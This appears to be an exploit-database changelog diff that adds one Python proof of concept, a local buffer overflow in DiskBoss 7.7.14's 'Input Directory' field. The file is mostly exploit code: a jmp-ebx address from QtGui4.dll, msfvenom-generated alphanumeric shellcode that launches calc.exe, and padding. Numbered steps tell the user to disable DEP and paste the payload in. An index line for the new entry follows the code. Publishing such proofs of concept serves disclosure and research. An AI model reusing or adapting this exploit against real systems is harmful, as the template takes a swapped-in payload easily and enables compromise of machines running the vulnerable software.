DB: 2020-04-03

1 changes to exploits/shellcodes

DiskBoss 7.7.14 - 'Input Directory' Local Buffer Overflow (PoC)

exploits/windows/local/48279.py

@@ -0,0 +1,80 @@
+# Exploit Title: DiskBoss 7.7.14 - 'Input Directory' Local Buffer Overflow (PoC) 
+# Vendor Homepage: https://www.diskboss.com/ 
+# Software Link Download: https://github.com/x00x00x00x00/diskboss_7.7.14/raw/master/diskboss_setup_v7.7.14.exe
+# Exploit Author: Paras Bhatia
+# Discovery Date: 2020-04-01
+# Vulnerable Software: DiskBoss
+# Version: 7.7.14
+# Vulnerability Type: Local Buffer Overflow
+# Tested on: Windows 7 Ultimate Service Pack 1 (32 bit - English)  
+
+#Steps to Produce the Crash:
+
+#   1.- Run python code: DiskbossLCE.py
+#   2.- Copy content to clipboard
+#   3.- Turn off DEP for diskbsg.exe
+#   4.- Open "diskboss.exe" (diskbsg.exe)
+#   5.- Go to "Command" > Search Files
+#   6.- Click on second + icon (located at right side of "Search Disks, Directories and Network Shares")
+#   7.- Click on " Add Input Directory"
+#   8.- Paste ClipBoard into the "Directory" field
+#   9.- Click on OK
+#   10.- Calc.exe runs
+
+#################################################################################################################################################
+
+#Python "DiskbossLCE.py" Code:
+   
+f = open("DiskbossLCE.txt", "w")
+
+# Message=  0x650EA4CA : jmp ebx |  [QtGui4.dll] (C:\Program Files\DiskBoss\bin\QtGui4.dll)
+
+jmpebx = "\xCA\xA4\x0E\x65"
+
+# msfvenom -a x86 --platform windows -p windows/exec cmd=calc.exe -e x86/alpha_mixed BufferRegister=EBX -f python -b "\x0a\x0d\x2f\x5c\x00"
+
+buf =  ""
+buf += "\x53\x59\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49"
+buf += "\x49\x49\x49\x49\x49\x37\x51\x5a\x6a\x41\x58\x50\x30"
+buf += "\x41\x30\x41\x6b\x41\x41\x51\x32\x41\x42\x32\x42\x42"
+buf += "\x30\x42\x42\x41\x42\x58\x50\x38\x41\x42\x75\x4a\x49"
+buf += "\x79\x6c\x79\x78\x4e\x62\x73\x30\x63\x30\x67\x70\x73"
+buf += "\x50\x4f\x79\x48\x65\x56\x51\x59\x50\x31\x74\x6c\x4b"
+buf += "\x30\x50\x50\x30\x4c\x4b\x51\x42\x74\x4c\x6e\x6b\x51"
+buf += "\x42\x74\x54\x4c\x4b\x44\x32\x77\x58\x44\x4f\x4c\x77"
+buf += "\x70\x4a\x55\x76\x44\x71\x69\x6f\x4c\x6c\x45\x6c\x53"
+buf += "\x51\x73\x4c\x55\x52\x74\x6c\x31\x30\x49\x51\x4a\x6f"
+buf += "\x34\x4d\x43\x31\x7a\x67\x69\x72\x6c\x32\x72\x72\x71"
+buf += "\x47\x6c\x4b\x42\x72\x54\x50\x6c\x4b\x70\x4a\x65\x6c"
+buf += "\x4c\x4b\x70\x4c\x64\x51\x62\x58\x39\x73\x51\x58\x67"
+buf += "\x71\x38\x51\x66\x31\x4c\x4b\x31\x49\x31\x30\x33\x31"
+buf += "\x78\x53\x4c\x4b\x31\x59\x44\x58\x49\x73\x65\x6a\x51"
+buf += "\x59\x6e\x6b\x30\x34\x4e\x6b\x73\x31\x58\x56\x56\x51"
+buf += "\x4b\x4f\x6c\x6c\x5a\x61\x5a\x6f\x34\x4d\x65\x51\x58"
+buf += "\x47\x35\x68\x4d\x30\x30\x75\x58\x76\x55\x53\x31\x6d"
+buf += "\x49\x68\x45\x6b\x43\x4d\x74\x64\x32\x55\x4b\x54\x42"
+buf += "\x78\x6c\x4b\x51\x48\x46\x44\x57\x71\x48\x53\x62\x46"
+buf += "\x4e\x6b\x46\x6c\x50\x4b\x4c\x4b\x73\x68\x75\x4c\x43"
+buf += "\x31\x79\x43\x4e\x6b\x36\x64\x6c\x4b\x45\x51\x6e\x30"
+buf += "\x4e\x69\x30\x44\x56\x44\x57\x54\x51\x4b\x61\x4b\x73"
+buf += "\x51\x51\x49\x50\x5a\x50\x51\x4b\x4f\x6b\x50\x33\x6f"
+buf += "\x33\x6f\x72\x7a\x6c\x4b\x42\x32\x78\x6b\x4e\x6d\x31"
+buf += "\x4d\x50\x6a\x56\x61\x6e\x6d\x4b\x35\x38\x32\x43\x30"
+buf += "\x47\x70\x35\x50\x42\x70\x62\x48\x36\x51\x4e\x6b\x32"
+buf += "\x4f\x6d\x57\x49\x6f\x4e\x35\x6f\x4b\x7a\x50\x4d\x65"
+buf += "\x6c\x62\x32\x76\x71\x78\x6c\x66\x6e\x75\x4f\x4d\x6f"
+buf += "\x6d\x4b\x4f\x5a\x75\x65\x6c\x46\x66\x33\x4c\x66\x6a"
+buf += "\x6b\x30\x4b\x4b\x4d\x30\x53\x45\x34\x45\x4f\x4b\x53"
+buf += "\x77\x64\x53\x64\x32\x30\x6f\x42\x4a\x43\x30\x50\x53"
+buf += "\x59\x6f\x78\x55\x75\x33\x51\x71\x72\x4c\x73\x53\x36"
+buf += "\x4e\x55\x35\x74\x38\x71\x75\x47\x70\x41\x41"
+
+junk1 = "A" * 4096
+junk2 = "C" * 1196
+
+
+payload= junk1 + jmpebx + junk2 + buf
+
+
+f.write(payload)
+f.close()

files_exploits.csv

@@ -11009,6 +11009,7 @@ id,file,description,date,author,type,platform,port
 48264,exploits/windows/local/48264.py,"10-Strike Network Inventory Explorer 9.03 - 'Read from File' Buffer Overflow (SEH)(ROP)",2020-03-30,Hodorsec,local,windows,
 48267,exploits/windows/local/48267.txt,"Microsoft Windows 10 (1903/1909) - 'SMBGhost' SMB3.1.1 'SMB2_COMPRESSION_CAPABILITIES' Local Privilege Escalation",2020-03-30,"Daniel García Gutiérrez",local,windows,
 48277,exploits/windows/local/48277.py,"10Strike LANState 9.32 - 'Force Check' Buffer Overflow (SEH)",2020-04-01,Hodorsec,local,windows,
+48279,exploits/windows/local/48279.py,"DiskBoss 7.7.14 - 'Input Directory' Local Buffer Overflow (PoC)",2020-04-02,"Paras Bhatia",local,windows,
 1,exploits/windows/remote/1.c,"Microsoft IIS - WebDAV 'ntdll.dll' Remote Overflow",2003-03-23,kralor,remote,windows,80
 2,exploits/windows/remote/2.c,"Microsoft IIS 5.0 - WebDAV Remote",2003-03-24,RoMaNSoFt,remote,windows,80
 5,exploits/windows/remote/5.c,"Microsoft Windows 2000/NT 4 - RPC Locator Service Remote Overflow",2003-04-03,"Marcin Wolak",remote,windows,139